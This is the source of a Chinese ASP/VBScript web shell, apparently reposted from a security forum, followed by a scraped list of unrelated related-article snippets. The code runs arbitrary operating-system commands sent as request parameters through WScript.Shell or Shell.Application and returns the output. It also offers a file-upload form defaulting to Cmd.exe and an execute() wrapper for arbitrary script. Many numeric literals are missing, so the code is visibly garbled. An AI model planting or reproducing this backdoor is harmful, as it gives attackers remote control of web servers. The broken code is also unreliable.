<%@ Language="VBScript" %>
<%
Dim theComponent()
theComponent() = "Scripting.FileSystemObject"
theComponent() = "WScript.Shell"
theComponent() = "WScript.Shell.1"
theComponent() = "WScript.Network"
theComponent() = "WScript.Network.1"
theComponent() = "shell.application"
theComponent() = "shell.application.1"
Function IsObjInstalled(strClassString)
On Error Resume Next
IsObjInstalled = False
Err =
Dim xTestObj
Set xTestObj = Server.CreateObject(strClassString)
If - <> Err Then
IsObjInstalled = True
Else
IsObjInstalled = False
End if
Set xTestObj = Nothing
Err =
End Function
%>
<tr><td>支持组件:</td></tr>
<%
Dim i
For i= to UBound(theComponent)-
If IsObjInstalled(theComponent(i)) Then
Response.Write "<tr><td>" & theComponent(i) & "</td><td><font color=""green"">√</font></td></tr>" & vbCrLf
Else
Response.Write "<tr><td>" & theComponent(i) & "</td><td><font color=""red"">×</font></td></tr>" & vbCrLf
End if
Next
%>
<br>
<br>
<br>
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<%
sub ShowErr()
If Err Then
jb"<br><a href='javascript:history.back()'><br>" & Err.DescrIption & "</a><br>"
Err.Clear:Response.Flush
ENd IF
End SUB
function jb(Str)
Response.WRItE(Str)
END function
Sub mbd(Str)
execute(Str)
END Sub
Function rePATH(S)
REpath=REpLAcE(s,"\","\\")
ENd Function
FuNctIon RRepaTh(S)
RREpaTH=rEplAcE(S,"\\","\")
end fUncTion
Url=REQueSt.sErVErvARiables("URL")
nimajbm=requESt.sErVeRVArIABlEs("LOCAL_ADDR")
AcTIoN=ReQUESt("Action")
RooTpATH=SeRveR.mAPpaTH(".")
WWWROOt=SErVER.MAppATH("/")
sba=request.servervariables("http_host")
appbd=rEQUEsT.seRvErVARIaBLES("PATH_INFO")
FOLdErpAth=REqueSt("FolderPath")
ScrName=Request.ServerVariables("Script_Name")
fNAME=reQUesT("FName")
ServerU=ReQueST.SERVervaRIables("http_host")
WoriNima=Request.ServerVariables("SERVER_NAME")
O0O0=Request.ServerVariables("PATH_TRANSLATED")
WoriNiba=Request.ServerVariables("SERVER_SOFTWARE")
Worininai=Request.ServerVariables("LOCAL_ADDR")
jbmc=Request.ServerVariables("NUMBER_OF_PROCESSORS")
jbmb=Request.ServerVariables("OS")
SI="<br><br><br><table border='0' cellpadding='0' cellspacing='0' align='center'>"
SI=SI&"<form name='UpForm' method='post' action='"&URL&"?Action=UpFile&Action2=Post' enctype='multipart/form-data'>"
SI=SI&"<tr><td>"
SI=SI&"上传路径:<input name='ToPath' value='"&RRePath(Session("FolderPath")&"\Cmd.exe")&"' size='40'>"
SI=SI&" <input name='LocalFile' type='file' size='25'>"
SI=SI&" <input type='submit' name='Submit' value='上传'>"
SI=SI&"</td></tr></form></table>"
on error resume next
if request("sp")<>"" then session("shellpath") = request("sp")
shellpath=session("shellpath")
if shellpath="" then shellpath = "cmd.exe"
if request("cmd")<>"" then session("defcmd") = request("cmd")
defcmd=session("defcmd")
if defcmd="" then defcmd="set"
if request("rwpath")<>"" then session("rwpath") = request("rwpath")
rwpath=session("rwpath")
if rwpath="" then rwpath=server.mappath(".")
si="<form method='post'>"
rp1="<input type=""radio"" name=""cmdtype"" value="""
si=si&"cmd:<input name='sp' value='"&shellpath&"' style='width:35%'> 回显:<input name='rwpath' value='"&rwpath&"' style='width:35%'><br>"
si=si&"<input type='hidden' name='action' value='Cmd1Shell'>"
si=si&rp1&"wscript"" checked>wscript"
si=si&rp1&"wscript.shell"">wscript.shell"
si=si&rp1&"wscript.shell.1"">wscript.shell.1"
si=si&rp1&"shell.application"">shell.application"
si=si&rp1&"shell.application.1"">shell.application.1"
si=si&"<input name='cmd' style='width:92%' value='"&defcmd&"'> <input type='submit' value='执行'>" set fso=server.createobject("scripting.filesystemobject")
sztempfile = rwpath&"\cmd.txt"
select case request("cmdtype")
case "wscript"
set cm=server.createobject("wscript.shell")
set dd=cm.exec(shellpath&" /c "&defcmd)
aaa=dd.stdout.readall
si=si&"<text"&"area style='width:100%;height:440;' class='cmd'>"
si=si&aaa
si=si&chr()&"</text"&"area></form>"
case "wscript.shell","wscript.shell.1"
on error resume next
set ws=server.createobject(request("cmdtype"))
call ws.run (shellpath&" /c " & defcmd & " > " & sztempfile, , true)
set ofilelcx = fso.opentextfile (sztempfile, , false, )
aaa=server.htmlencode(ofilelcx.readall)
ofilelcx.close
call fso.deletefile(sztempfile, true)
si=si&"<text"&"area style='width:100%;height:440;' class='cmd'>"
si=si&aaa
si=si&chr()&"</text"&"area></form>"
case "shell.application","shell.application.1"
set seshell=server.createobject(request("cmdtype")) seshell.ShellExecute shellpath," /c " & defcmd & " > " & sztempfile,"","open",
si=si&"<iframe id=cmdResult src='?cmdtype=shellresult&Action=Cmd1Shell' style='width:100%;height:440;'>"
case "shellresult"
response.Clear()
on error resume next
jb "<body style=""background:#3F8805""><span style=""color:#FFFFFF"">"
if fso.fileexists(sztempfile)=true then
set ofilelcx = fso.opentextfile (sztempfile, , false, )
ss=server.htmlencode(ofilelcx.readall)
ss=replace(ss,vbnewline,"<br>")
jb ss
ofilelcx.close
call fso.deletefile(sztempfile, true)
else
jb "<meta http-equiv=""refresh"" content=""1"" />程序未结束,或者没有执行成功,等待刷新试试"
end if
if err then jb "<meta http-equiv=""refresh"" content=""1"" />程序未结束,或者没有执行成功,等待刷新试试"
jb"</span></body>"
response.end
end select
jb si
function createmdb(path)
si="<br><br>"
set c = createobject(obt(,))
c.create("provider=microsoft.jet.oledb.4.0;data source=" & path)
set c = nothing
if err.number= then
si = si & path & "建立成功!"
end if
si=si&backurl
echo si
end function
%>

原帖地址:https://www.t00ls.net/thread-26413-1-1.html

作者:Calm

shell.application asp多种组件执行cmd 单文件版本的更多相关文章

  1. Vue.js的组件(slot/动态组件等)、单文件组件、递归组件使用

    一.组件 1> 组件命名方式有两种(注意:在DOM模板中只有kebab-case命名方法才生效): html中引用组件: <!-- 在DOM模板中,只有 kebab-case命名才生效 - ...

  2. 【JavaScript框架封装】自己动手封装一个涵盖JQuery基本功能的框架及核心源码分享(单文件版本)

    整个封装过程及阅读JQuery源码的过程基本上持续了一个月吧,最终实现了一个大概30%的JQuery功能的框架版本,但是里面涉及的知识点也是非常多的,总共的代码加上相关的注释大概在3000行左右吧,但 ...

  3. 单文件版本的netframework的net core 2.1

    如果你还在用net4.5,如果你还在用netframework,又想使用netcore2.1的库或者功能,又觉得nuget动不动就好大,可以试试下面的这个. https://pan.baidu.com ...

  4. Vue单文件组件

    前面的话 本文将详细介绍Vue单文件组件 概述 在很多 Vue 项目中,使用 Vue.component 来定义全局组件,紧接着用 new Vue({ el: '#container '}) 在每个页 ...

  5. vue 单文件组件

    在很多vue项目中,我们使用vue.component来定义全局组件,紧接着用new Vue({el:'#container'})在每个页面内指定一个容器元素 这种方式在很多中小规模的项目中运作的很好 ...

  6. vue单文件组件形成父子(子父)组件之间通信(vue父组件传递数据给子组件,子组件传递数据给父组件)

    看了很多文章,官网文档也有看,对父子组件通信说的不是很明白:决定自己总结一下: vue一般都使用构建工具构建项目:这样每个组件都是单文件组件:而网上很多文章都是script标签方式映入vue,组件通信 ...

  7. XDown单文件版 下载工具 支持磁力等多种链接方式下载

    原来的程序不带剪辑板探测,不支持迅雷链接等 增加功能后优化制作单文件版本. 下载类型为下图 magnet:?xt=urn:btih:836A228D932EF1C7EA1DD99D5D80B7CB0C ...

  8. 真正的打包scrapy单文件(不包含cfg)

    前置:https://www.cnblogs.com/luocodes/p/11827850.html 解决最后一个问题,如何将scrapy真正的打包成单文件 耗了一晚上时间,今天突然有灵感了 错误分 ...

  9. win7 X64可用的单文件IE6

    由于日常调试需要用到老版本的ie,没有办法!用ietest老师感觉不好使,动不动就死了.就找到了ie的单文件版,有博主 小明爱切糕制作,IE6.7.8单文件版本 http://www.cnblogs. ...

随机推荐

  1. php字符串处理总结

    php字符串处理是php基础中重要的一部分,总结并整理了一下 1.最简单的,字符串输出单引号和双引号的区别(定义字符串用单引号和双引号都可以) $str='hello'; echo "str ...

  2. 【JAVA、C++】LeetCode 009 Palindrome Number

    Determine whether an integer is a palindrome. Do this without extra space. 解题思路一: 双指针法,逐位判断 Java代码如下 ...

  3. July 11th, Week 29th Monday, 2016

    I want to win a trophy, it's the most important. 我希望获得冠军奖杯,这是最重要的事情. Win a trophy, stand on the very ...

  4. java中String类型转换方法

    integer to String : int i = 42;String str = Integer.toString(i);orString str = "" + i doub ...

  5. 【读书笔记】读《JavaScript设计模式》之门面模式

    一.前言 门面模式,也称Facade(外观)模式.核心的两点作用—— 1> 简化类的接口(让接口变得更加容易理解.容易应用.更加符合对应业务),来掩盖一个非常不同或者复杂的实现 2> 消除 ...

  6. 用scanf输入字符串

    char s[10];scanf("%s",s);改为scanf("%s",&s);也正确,为什么? 1 s与&s都表示地址,且值相等.2 s与 ...

  7. LINUX_bash

    $ myname=xor$ echo $myname xor 内容间空格$var="lang is $myname" echo $var lang is xor $ var='la ...

  8. time_wait 过多 造成网络慢 实战

    sh-3.2# scripts]# netstat -an|awk '/tcp/ {++S[$NF]}END {for (a in S) print a,S[a]}' TIME_WAIT ESTABL ...

  9. CI中PHP写法规范(不断更新)

    1.类名首字母大写,多个单词用下划线连接,首字母小写是无效的 举例: class CI_Model 2.routes路由配置中的右侧在配置类名和方法名的时候都是小写,如果大写可能会出现404找不到的错 ...

  10. 10年程序员谈.Net程序员的职业规划(图/文) (转载)

    转载地址:http://www.cnblogs.com/donghongtao/p/3611623.html